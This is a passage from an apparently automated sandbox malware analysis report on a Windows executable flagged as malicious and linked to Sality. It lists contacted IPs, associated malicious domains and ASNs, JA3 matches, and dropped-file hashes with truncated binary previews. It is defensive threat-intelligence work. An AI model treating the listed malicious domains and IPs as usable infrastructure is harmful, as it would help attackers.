                                    		22773ASN-CXA-ALL-CCI-22773-RDCUSfalse
                                    81.180.234.176
                                    		unknownRomania
                                    		8751MEDIASATROfalse
                                    71.226.96.253
                                    		unknownUnited States
                                    		7922COMCAST-7922USfalse
                                    211.106.155.59
                                    		unknownKorea Republic of
                                    		4766KIXS-AS-KRKoreaTelecomKRfalse
                                    220.121.134.142
                                    		unknownKorea Republic of
                                    		4766KIXS-AS-KRKoreaTelecomKRfalse
                                    78.46.2.155
                                    		ahmediye.netGermany
                                    		24940HETZNER-ASDEtrue
                                    87.121.209.81
                                    		unknownUnited Kingdom
                                    		203872VEMGBfalse
                                    173.11.157.38
                                    		unknownUnited States
                                    		7922COMCAST-7922USfalse
                                    77.77.35.67
                                    		unknownBulgaria
                                    		39184ULTRANET-ASBGfalse
                                    63.251.106.25
                                    		apple-pie.inUnited States
                                    		29791VOXEL-DOT-NETUStrue
                                    88.248.141.201
                                    		unknownTurkey
                                    		9121TTNETTRfalse

                                    Private

                                    IP
                                    192.168.2.1

                                    General Information

                                    Joe Sandbox Version:37.0.0 Beryl
                                    Analysis ID:844631
                                    Start date and time:2023-04-11 14:04:51 +02:00
                                    Joe Sandbox Product:CloudBasic
                                    Overall analysis duration:0h 13m 13s
                                    Hypervisor based Inspection enabled:false
                                    Report type:full
                                    Cookbook file name:default.jbs
                                    Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                    Number of analysed new started processes analysed:14
                                    Number of new started drivers analysed:0
                                    Number of existing processes analysed:0
                                    Number of existing drivers analysed:0
                                    Number of injected processes analysed:27
                                    Technologies:
                                    • HCA enabled
                                    • EGA enabled
                                    • HDC enabled
                                    • AMSI enabled
                                    Analysis Mode:default
                                    Analysis stop reason:Timeout
                                    Sample file name:pXlV6TKi3E.exe
                                    Original Sample Name:f96ad2108001929ccc0d4244215239f8.exe
                                    Detection:MAL
                                    Classification:mal100.spre.evad.winEXE@2/25@15/36
                                    EGA Information:
                                    • Successful, ratio: 9.1%
                                    HDC Information:Failed
                                    HCA Information:
                                    • Successful, ratio: 88%
                                    • Number of executed functions: 49
                                    • Number of non-executed functions: 60
                                    Cookbook Comments:
                                    • Found application associated with file extension: .exe

                                    Warnings

                                    • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
                                    • Excluded IPs from analysis (whitelisted): 173.222.108.226, 173.222.108.210, 8.248.149.254, 67.26.139.254, 8.241.126.249, 8.238.88.120, 8.238.88.126
                                    • Excluded domains from analysis (whitelisted): fg.download.windowsupdate.com.c.footprint.net, fs.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-bg-shim.trafficmanager.net, download.windowsupdate.com.edgesuite.net
                                    • Execution Graph export aborted for target ShellExperienceHost.exe, PID 3908 because there are no executed function
                                    • Execution Graph export aborted for target mnIfGXLiqWUjFj.exe, PID 5448 because it is empty
                                    • Execution Graph export aborted for target mnIfGXLiqWUjFj.exe, PID 5460 because it is empty
                                    • Execution Graph export aborted for target mnIfGXLiqWUjFj.exe, PID 5484 because it is empty
                                    • Execution Graph export aborted for target mnIfGXLiqWUjFj.exe, PID 5496 because it is empty
                                    • Execution Graph export aborted for target mnIfGXLiqWUjFj.exe, PID 5504 because it is empty
                                    • Execution Graph export aborted for target mnIfGXLiqWUjFj.exe, PID 5524 because it is empty
                                    • Execution Graph export aborted for target mnIfGXLiqWUjFj.exe, PID 5532 because it is empty
                                    • Execution Graph export aborted for target mnIfGXLiqWUjFj.exe, PID 5556 because it is empty
                                    • Execution Graph export aborted for target mnIfGXLiqWUjFj.exe, PID 5564 because it is empty
                                    • Not all processes where analyzed, report is missing behavior information
                                    • Report size exceeded maximum capacity and may have missing behavior information.
                                    • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                    • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                    • Report size getting too big, too many NtOpenKeyEx calls found.
                                    • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                    • Report size getting too big, too many NtQueryValueKey calls found.
                                    • Report size getting too big, too many NtWriteVirtualMemory calls found.
                                    • VT rate limit hit for: pXlV6TKi3E.exe

                                    Simulations

                                    Behavior and APIs

                                    TimeTypeDescription
                                    14:05:50API Interceptor586x Sleep call for process: pXlV6TKi3E.exe modified
                                    14:06:21API Interceptor444x Sleep call for process: explorer.exe modified
                                    14:07:21API Interceptor2139x Sleep call for process: mnIfGXLiqWUjFj.exe modified

                                    Joe Sandbox View / Context

                                    IPs

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    85.105.121.157mn9ju5i1tk.exeGet hashmaliciousSalityBrowse
                                      81.181.64.5mn9ju5i1tk.exeGet hashmaliciousSalityBrowse
                                        80.54.102.172mn9ju5i1tk.exeGet hashmaliciousSalityBrowse
                                          78.96.105.81mn9ju5i1tk.exeGet hashmaliciousSalityBrowse

                                            Domains

                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                            www.careerdesk.orgServer.exeGet hashmaliciousMimikatz, SalityBrowse
                                            • 206.191.152.58
                                            HP8odfgSjP.exeGet hashmaliciousSalityBrowse
                                            • 206.191.152.58
                                            9zalmn1701.exeGet hashmaliciousSalityBrowse
                                            • 206.191.152.58
                                            #U622a#U56fe.exeGet hashmaliciousSalityBrowse
                                            • 206.191.152.58
                                            ampyazilim.com.trServer.exeGet hashmaliciousMimikatz, SalityBrowse
                                            • 37.230.104.89
                                            9zalmn1701.exeGet hashmaliciousSalityBrowse
                                            • 37.230.104.89
                                            apple-pie.inServer.exeGet hashmaliciousMimikatz, SalityBrowse
                                            • 63.251.106.25
                                            9zalmn1701.exeGet hashmaliciousSalityBrowse
                                            • 63.251.106.25
                                            amsamex.comServer.exeGet hashmaliciousMimikatz, SalityBrowse
                                            • 206.189.61.126
                                            HP8odfgSjP.exeGet hashmaliciousSalityBrowse
                                            • 206.189.61.126
                                            9zalmn1701.exeGet hashmaliciousSalityBrowse
                                            • 206.189.61.126

                                            ASNs

                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                            TTNETTReXKqvotUHQ.elfGet hashmaliciousMirai, MoobotBrowse
                                            • 95.9.230.8
                                            Tn8K02eJ3P.elfGet hashmaliciousMiraiBrowse
                                            • 88.236.234.227
                                            33T91PweGq.elfGet hashmaliciousMoobotBrowse
                                            • 88.248.202.244
                                            rwDENO48jg.elfGet hashmaliciousMirai, MoobotBrowse
                                            • 85.108.172.200
                                            TCKOnNwV84.elfGet hashmaliciousMirai, MoobotBrowse
                                            • 95.6.101.89
                                            skid.x86.elfGet hashmaliciousMirai, MoobotBrowse
                                            • 88.255.238.27
                                            mInf0gXVD3.elfGet hashmaliciousMiraiBrowse
                                            • 95.10.5.95
                                            K3FxQrWzHh.elfGet hashmaliciousMiraiBrowse
                                            • 78.180.81.211
                                            yyZad84Pxk.elfGet hashmaliciousMiraiBrowse
                                            • 88.243.182.55
                                            W9o9ASU5FF.elfGet hashmaliciousMiraiBrowse
                                            • 78.176.83.87
                                            ZHQ3aipm6G.elfGet hashmaliciousMiraiBrowse
                                            • 88.245.198.126
                                            oCuJSvJN7o.elfGet hashmaliciousMirai, MoobotBrowse
                                            • 88.227.190.118
                                            jpySkGohjB.elfGet hashmaliciousMirai, MoobotBrowse
                                            • 88.245.62.74
                                            AwepIXIzqr.elfGet hashmaliciousMoobotBrowse
                                            • 88.251.180.186
                                            MVZ1XwhJIt.elfGet hashmaliciousMoobotBrowse
                                            • 85.110.194.101
                                            WOBnGFfwDv.elfGet hashmaliciousMirai, MoobotBrowse
                                            • 78.191.6.134
                                            4dmHG92I7X.elfGet hashmaliciousMirai, MoobotBrowse
                                            • 78.186.14.100
                                            A5TMp5flDP.elfGet hashmaliciousMiraiBrowse
                                            • 88.243.75.200
                                            usKVq35tAu.elfGet hashmaliciousMiraiBrowse
                                            • 88.237.136.118
                                            ISd7zpfQxZ.elfGet hashmaliciousMiraiBrowse
                                            • 81.213.113.165

                                            JA3 Fingerprints

                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                            37f463bf4616ecd445d4a1937da06e19JfReFP3KZp.exeGet hashmaliciousVidarBrowse
                                            • 37.230.104.89
                                            X8W57hEFXP.exeGet hashmaliciousSocelarsBrowse
                                            • 37.230.104.89
                                            SecuriteInfo.com.Trojan.MSIL.DCRat.11088.10887.exeGet hashmaliciousVidarBrowse
                                            • 37.230.104.89
                                            5OYT3cEohf.exeGet hashmaliciousVidarBrowse
                                            • 37.230.104.89
                                            CWBRdXgm76.exeGet hashmaliciousVidarBrowse
                                            • 37.230.104.89
                                            rUV1r12paU.exeGet hashmaliciousLaplas Clipper, SmokeLoader, VidarBrowse
                                            • 37.230.104.89
                                            de82ZRfsrh.exeGet hashmaliciousLaplas Clipper, SmokeLoader, VidarBrowse
                                            • 37.230.104.89
                                            0uMOy1wp6o.exeGet hashmaliciousVidarBrowse
                                            • 37.230.104.89
                                            kG5Mf7vatl.exeGet hashmaliciousSocelarsBrowse
                                            • 37.230.104.89
                                            p0KE7GUJY6.exeGet hashmaliciousVidarBrowse
                                            • 37.230.104.89
                                            mrrTbChvdr.exeGet hashmaliciousVidarBrowse
                                            • 37.230.104.89
                                            price_offer_Ref_SCML-S-704.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                            • 37.230.104.89
                                            Inv.BKKR008011723.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                            • 37.230.104.89
                                            #Ubcf4#Ud638#Ub41c #Uc0c1#Uc5c5 #Uc1a1#Uc7a5AWB-1414000543.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                            • 37.230.104.89
                                            62444I2EMS.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                            • 37.230.104.89
                                            setup.exeGet hashmaliciousClipboard Hijacker, Djvu, HTMLPhisherBrowse
                                            • 37.230.104.89
                                            setup.exeGet hashmaliciousSmokeLoader, VidarBrowse
                                            • 37.230.104.89
                                            setup.exeGet hashmaliciousBabuk, Clipboard Hijacker, DjvuBrowse
                                            • 37.230.104.89
                                            setup.exeGet hashmaliciousSmokeLoader, VidarBrowse
                                            • 37.230.104.89
                                            setup.exeGet hashmaliciousVidarBrowse
                                            • 37.230.104.89

                                            Dropped Files

                                            ⊘No context

                                            Created / dropped Files

                                            C:\Users\user\AppData\Local\Microsoft\Windows\ActionCenterCache\windows-systemtoast-securityandmaintenance_44_0.png

                                            Download File
                                            Process:C:\Windows\System32\svchost.exe
                                            File Type:PNG image data, 306 x 306, 8-bit/color RGBA, non-interlaced
                                            Category:modified
                                            Size (bytes):6873
                                            Entropy (8bit):7.896151483146773
                                            Encrypted:false
                                            SSDEEP:192:4LRkn2wDlA/phcXKhgkuUexVBCp5dpvO4nyWck:JnpDlA/phc6hgkEQkxVk
                                            MD5:1382CE1BD44FA02B6C58580B02AEFA9C
                                            SHA1:BD1AABF4EBF1BFF840C1973EBAA02C1FEDF8D6C5
                                            SHA-256:DF1C6676A93EB0E347607F323E00F4063EDE1D19E54E7661E5CF6D0F39586E82
                                            SHA-512:CDCDCF15D72FC7FCFD05743954C09A09911EFD3964F0F55555EC30A37DBFDC6230224154CDCEF52BD0763C99F3CAD81C0045886E122274C8AC22A01D9CD850D5
                                            Malicious:false
                                            Preview:.PNG........IHDR...2...2.....y.\.....gAMA......a.....IDATx^..K..U...2.`.K.H...h.x.0.^.i@...Y#..Y.|..'....$/f5....a.....X."..%......y....Q.Y..q9..O.DV...T...{..Y.................................................................p..:}...v.q.S..y....T..E|...^.0~Y.....r.R...S.d.,.....y.pjK.z.8...g,..v.A6d.\..I..v...I.n_....g.%.. ...m)....rx....J9p.......7..Kh.o..<....yw3.T....,..F~.}....E.^.C..@.\g..aX.K.^....x...Ka..zQ..@R()......%K3......A...l....^#C.Yf,....Y].L.....A;+....e)..nW._..64.U....... ..Y.../..#..FC..v8.mi.z......w..6.9.f.Z..2.,.41..............=.nKC.!..T.....ps...)..P.k8C.9c....^.C..[(...Y+.Y.u...s...v\..9/.4........+..})..m.:.^.[ .4.|......U.0.0.4*..b[..a.c....+....(..j?..a.....i..g....d..a.[vl.>*..}`.....j..........M..-..x...,!..L+.'........*..s77f.|.h..*.0/.4||......\h.......N.-.TG..$.;vh....,-......h,..*...V...}...,m....v.k......Z:f!..Hua..(.0_...B.M.3..u......R(.&..4...!..+.._...h.L....P=-..H.!5...[O.]+.d.E....a...m..7;@..

                                            C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl

                                            Download File
                                            Process:C:\Windows\System32\svchost.exe
                                            File Type:data
                                            Category:dropped
                                            Size (bytes):65536
                                            Entropy (8bit):0.11018295930046493
                                            Encrypted:false
                                            SSDEEP:12:26CqWTXm/Ey6q9995Tq3qQ10nMCldimE8eawHjcwbOP:26FWKl68kLyMCldzE9BHjczP
                                            MD5:3404F03ABC57C2CC577BDC8BA88F98BC
                                            SHA1:81F4467FC85D2B7908F1AA5E71F19214423A7F88
                                            SHA-256:F080273909FB4BE17299AA9BBAC761EAB83514E7A7F0F0E1D417E2942F5C60D3
                                            SHA-512:296D666056DC5796E0A7D66AF910D8AECAE17FBD8647E4AABFEDD270A78891AD9C1511D12612401031A40C516846A1EFEF066035437D09E35328E56682312B47
                                            Malicious:false
                                            Preview:................................................................................4...H.....#.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................k........ ........l.l..........S.y.n.c.V.e.r.b.o.s.e...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.S.y.n.c.V.e.r.b.o.s.e...e.t.l...........P.P.4...H.....#....................................................................................................................................................................................................................................................................................................................................................................................................

                                            C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl

                                            Download File
                                            Process:C:\Windows\System32\svchost.exe
                                            File Type:data
                                            Category:dropped
                                            Size (bytes):65536
                                            Entropy (8bit):0.11267495324781583
                                            Encrypted:false
                                            SSDEEP:12:WB1gTXm/Ey6q9995X1miM3qQ10nMCldimE8eawHza1miIjF7g/:bKl68N1tMLyMCldzE9BHza1tIh7g/
                                            MD5:60FC0B444AF7767B24571E90BF4A86AE
                                            SHA1:9048D25EE81B2C124A01B5B338DEB838279F9B85
                                            SHA-256:C6127EB4EED5BCEBFBB860F761E2B7DC317785B6D9D9CE8F795081B7F16B86DF
                                            SHA-512:5AF56354C3DD95F4ED49678A49FAA77DBB4BBB355C0B4DB158C8F6AEF1F2F79359C46DF7BFC6B48802E95FE1C7CCA561C64FB6C8C50BAB4C134BB60C4434E07C
                                            Malicious:false
                                            Preview:................................................................................4...H...~d.#.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................k........ .....v..l.l..........U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...e.t.l.......P.P.4...H...z~.#....................................................................................................................................................................................................................................................................................................................................................................................

                                            C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl

                                            Download File
                                            Process:C:\Windows\System32\svchost.exe
                                            File Type:data
                                            Category:dropped
                                            Size (bytes):65536
                                            Entropy (8bit):0.11263212402367964
                                            Encrypted:false
                                            SSDEEP:12:WVmXm/Ey6q9995ga1mK2P3qQ10nMCldimE8eawHza1mKek:szl68Oa1iPLyMCldzE9BHza1n
                                            MD5:468AE55A83E7B9972AFB13C35B0AA60E
                                            SHA1:05D6689480131F2642FAAC1007975EC2CD17A1FF
                                            SHA-256:A3499A71C92D9DEAAC34992EA9A8B2177422B74424799B703B356334A4B1F172
                                            SHA-512:A8EDEA3AF15CF2F7BF6CE7B0E3AB8594B3D03ED85CB1C4B21D457BCFEAD83C0980F139A9D30B52D7D63F0586C93007C71EEF7A764B380985FD15F595F2873B50
                                            Malicious:false
                                            Preview:................................................................................4...H......#.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................k........ .......l.l..........U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...e.t.l.......P.P.4...H......#....................................................................................................................................................................................................................................................................................................................................................................................

                                            C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\StartUnifiedTileModelCache.dat (copy)

                                            Download File
                                            Process:C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
                                            File Type:data
                                            Category:dropped
                                            Size (bytes):46502
                                            Entropy (8bit):4.056433329793759
                                            Encrypted:false
                                            SSDEEP:768:nStDVJdpMWawbTdchcuyRTQsc9+i3+CsiFxYAtAcFO1wHHgNG9B/nhV4aOY0vT9o:nwDV9MWDbpchcuuTQsc9+i3+0DYAtAcZ
                                            MD5:6F387B958C86DE707F4A59CBCD75A715
                                            SHA1:B77E8D5E71BC121F1E11D08D401DE1E31D73D65A
                                            SHA-256:AE5C6E9194E850D2ECBE666A503B66A87DE272F5909D6AA7C9F38F73D2E2BEA9
                                            SHA-512:ADB1487782B00C2CF576B34140A9AD6A941D94E07513FF2CABF6929FD28CCFEC5B8A8A89F3203CD3A942859C00D84AE55CC0E8691800FDAE9BEC6AB055F751D6
                                            Malicious:false
                                            Preview:.cxE..8|.6..............(*.}:<.}gd.9|.H..|62...........c >*>.GG..!..W,.........`.0o........]...Y.IJ...b.P.......................v....L.?....=.................*...T.~.D.y.n.a.m.i.c.L.a.y.o.u.t.s.:.2.!.3...c >*>.GG..!..W,.....4.A. .g.r.e.a.t. .a.p.p. .i.s. .o.n. .i.t.s. .w.a.y.!.......M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s...C.o.n.t.e.n.t.D.e.l.i.v.e.r.y.M.a.n.a.g.e.r._.1.0...0...1.7.1.3.4...1._.n.e.u.t.r.a.l._.n.e.u.t.r.a.l._.c.w.5.n.1.h.2.t.x.y.e.w.y.......T...P.~.M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s.M.a.p.s._.8.w.e.k.y.b.3.d.8.b.b.w.e.!.A.p.p...c >*>.GG..!..W,.......M.a.p.s.....M.a.p.s.n.M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s.M.a.p.s._.5...1.7.1.1...1.0.4.0.1...0._.x.6.4._._.8.w.e.k.y.b.3.d.8.b.b.w.e...]...Y.IJ...b.P......................P..&.JF................................-..F...M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s.M.a.p.s._.8.w.e.k.y.b.3.d.8.b.b.w.e.n...M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s.M.a.p.s._.5...1.7.1.1...1.0.4.0.1...0._.x.6.4._._.8.w.e.k.y.b.3.d.8.b.b.w.e.....4...m.s.-.r.e.s.o.u.r.c.e.

                                            C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\~tartUnifiedTileModelCache.tmp

                                            Download File
                                            Process:C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
                                            File Type:data
                                            Category:dropped
                                            Size (bytes):46502
                                            Entropy (8bit):4.056433329793759
                                            Encrypted:false
                                            SSDEEP:768:nStDVJdpMWawbTdchcuyRTQsc9+i3+CsiFxYAtAcFO1wHHgNG9B/nhV4aOY0vT9o:nwDV9MWDbpchcuuTQsc9+i3+0DYAtAcZ
                                            MD5:6F387B958C86DE707F4A59CBCD75A715
                                            SHA1:B77E8D5E71BC121F1E11D08D401DE1E31D73D65A
                                            SHA-256:AE5C6E9194E850D2ECBE666A503B66A87DE272F5909D6AA7C9F38F73D2E2BEA9
                                            SHA-512:ADB1487782B00C2CF576B34140A9AD6A941D94E07513FF2CABF6929FD28CCFEC5B8A8A89F3203CD3A942859C00D84AE55CC0E8691800FDAE9BEC6AB055F751D6
                                            Malicious:false
                                            Preview:.cxE..8|.6..............(*.}:<.}gd.9|.H..|62...........c >*>.GG..!..W,.........`.0o........]...Y.IJ...b.P.......................v....L.?....=.................*...T.~.D.y.n.a.m.i.c.L.a.y.o.u.t.s.:.2.!.3...c >*>.GG..!..W,.....4.A. .g.r.e.a.t. .a.p.p. .i.s. .o.n. .i.t.s. .w.a.y.!.......M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s...C.o.n.t.e.n.t.D.e.l.i.v.e.r.y.M.a.n.a.g.e.r._.1.0...0...1.7.1.3.4...1._.n.e.u.t.r.a.l._.n.e.u.t.r.a.l._.c.w.5.n.1.h.2.t.x.y.e.w.y.......T...P.~.M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s.M.a.p.s._.8.w.e.k.y.b.3.d.8.b.b.w.e.!.A.p.p...c >*>.GG..!..W,.......M.a.p.s.....M.a.p.s.n.M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s.M.a.p.s._.5...1.7.1.1...1.0.4.0.1...0._.x.6.4._._.8.w.e.k.y.b.3.d.8.b.b.w.e...]...Y.IJ...b.P......................P..&.JF................................-..F...M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s.M.a.p.s._.8.w.e.k.y.b.3.d.8.b.b.w.e.n...M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s.M.a.p.s._.5...1.7.1.1...1.0.4.0.1...0._.x.6.4._._.8.w.e.k.y.b.3.d.8.b.b.w.e.....4...m.s.-.r.e.s.o.u.r.c.e.

                                            C:\Users\user\AppData\Local\Temp\00413442_Rar\pXlV6TKi3E.exe

                                            Download File
                                            Process:C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            File Type:PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                                            Category:dropped
                                            Size (bytes):959542
                                            Entropy (8bit):7.978440188578962
                                            Encrypted:false
                                            SSDEEP:24576:tMKhKJqnHBL8Nj3cYR+xHcL/BqZIe4YI2kpTs9vdiBMRX4lR:tEQnHBLg3cYI6L/Brpvg/iOF4lR
                                            MD5:AC77B4C692A0CD8E7C9B12669837AF41
                                            SHA1:36662C86B7AEEF015733171DB28B3B9F512B4AB4
                                            SHA-256:A1385947D8529881F8730A3BF1D75BA7EAB5F09AD4F67DECF82F9E5A065FD6C5
                                            SHA-512:E36CF6E2704118D2FEA050D5F5725EA8CFC9ECC7794389390591B2148B53C7F00AFC63214E3D63ED6C42A9411F6B65840D3ECDA5099A9BFDEFD91B9252ED911D
                                            Malicious:true
                                            Antivirus:
                                            • Antivirus: Avira, Detection: 100%
                                            • Antivirus: Avira, Detection: 100%
                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                            • Antivirus: ReversingLabs, Detection: 67%
                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......lS.(2..(2..(2......"2......32..(2..50..6`0.22..6`&.2..6`!.2..6`/.+2..6`1.)2..6`4.)2..PE..L...>..d................................p...`....@.......................... ............@.................................4...<....`..0>..............................................................................d.......................................@...................0.sp0....P..........................@...1.sp1........`......................@...2.sp2........P......................@...3.ext........p......................@...4.data..............................@...5.ata....q..........................@...........................................................................................................................................................................................................................................................................

                                            C:\Users\user\AppData\Local\Temp\00413442_Rar\pXlV6TKi3E.exe:Zone.Identifier

                                            Download File
                                            Process:C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            File Type:ASCII text, with CRLF line terminators
                                            Category:dropped
                                            Size (bytes):26
                                            Entropy (8bit):3.95006375643621
                                            Encrypted:false
                                            SSDEEP:3:ggPYV:rPYV
                                            MD5:187F488E27DB4AF347237FE461A079AD
                                            SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                            SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                            SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                            Malicious:true
                                            Preview:[ZoneTransfer]....ZoneId=0

                                            C:\Users\user\AppData\Local\Temp\0045C842_Rar\pXlV6TKi3E.exe

                                            Download File
                                            Process:C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            File Type:PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                                            Category:dropped
                                            Size (bytes):959542
                                            Entropy (8bit):7.978440188578962
                                            Encrypted:false
                                            SSDEEP:24576:tMKhKJqnHBL8Nj3cYR+xHcL/BqZIe4YI2kpTs9vdiBMRX4lR:tEQnHBLg3cYI6L/Brpvg/iOF4lR
                                            MD5:AC77B4C692A0CD8E7C9B12669837AF41
                                            SHA1:36662C86B7AEEF015733171DB28B3B9F512B4AB4
                                            SHA-256:A1385947D8529881F8730A3BF1D75BA7EAB5F09AD4F67DECF82F9E5A065FD6C5
                                            SHA-512:E36CF6E2704118D2FEA050D5F5725EA8CFC9ECC7794389390591B2148B53C7F00AFC63214E3D63ED6C42A9411F6B65840D3ECDA5099A9BFDEFD91B9252ED911D
                                            Malicious:true
                                            Antivirus:
                                            • Antivirus: ReversingLabs, Detection: 67%
                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......lS.(2..(2..(2......"2......32..(2..50..6`0.22..6`&.2..6`!.2..6`/.+2..6`1.)2..6`4.)2..PE..L...>..d................................p...`....@.......................... ............@.................................4...<....`..0>..............................................................................d.......................................@...................0.sp0....P..........................@...1.sp1........`......................@...2.sp2........P......................@...3.ext........p......................@...4.data..............................@...5.ata....q..........................@...........................................................................................................................................................................................................................................................................

                                            C:\Users\user\AppData\Local\Temp\0045C842_Rar\pXlV6TKi3E.exe:Zone.Identifier

                                            Download File
                                            Process:C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            File Type:ASCII text, with CRLF line terminators
                                            Category:dropped
                                            Size (bytes):26
                                            Entropy (8bit):3.95006375643621
                                            Encrypted:false
                                            SSDEEP:3:ggPYV:rPYV
                                            MD5:187F488E27DB4AF347237FE461A079AD
                                            SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                            SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                            SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                            Malicious:true
                                            Preview:[ZoneTransfer]....ZoneId=0

                                            C:\Users\user\AppData\Local\Temp\rdyi.exe

                                            Download File
                                            Process:C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            File Type:data
                                            Category:dropped
                                            Size (bytes):340
                                            Entropy (8bit):7.428989227311812
                                            Encrypted:false
                                            SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                            MD5:2516CA1835F985ADEAB21CFBC34FF724
                                            SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                            SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                            SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                            Malicious:false
                                            Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                            C:\Users\user\AppData\Local\Temp\windkovwm.exe

                                            Download File
                                            Process:C:\Users\user\Desktop\pXlV6TKi3E.exe
                                            File Type:data
                                            Category:dropped
                                            Size (bytes):340
                                            Entropy (8bit):7.428989227311812
                                            Encrypted:false
                                            SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                            MD5:2516CA1835F985ADEAB21CFBC34FF724
                                            SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                            SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
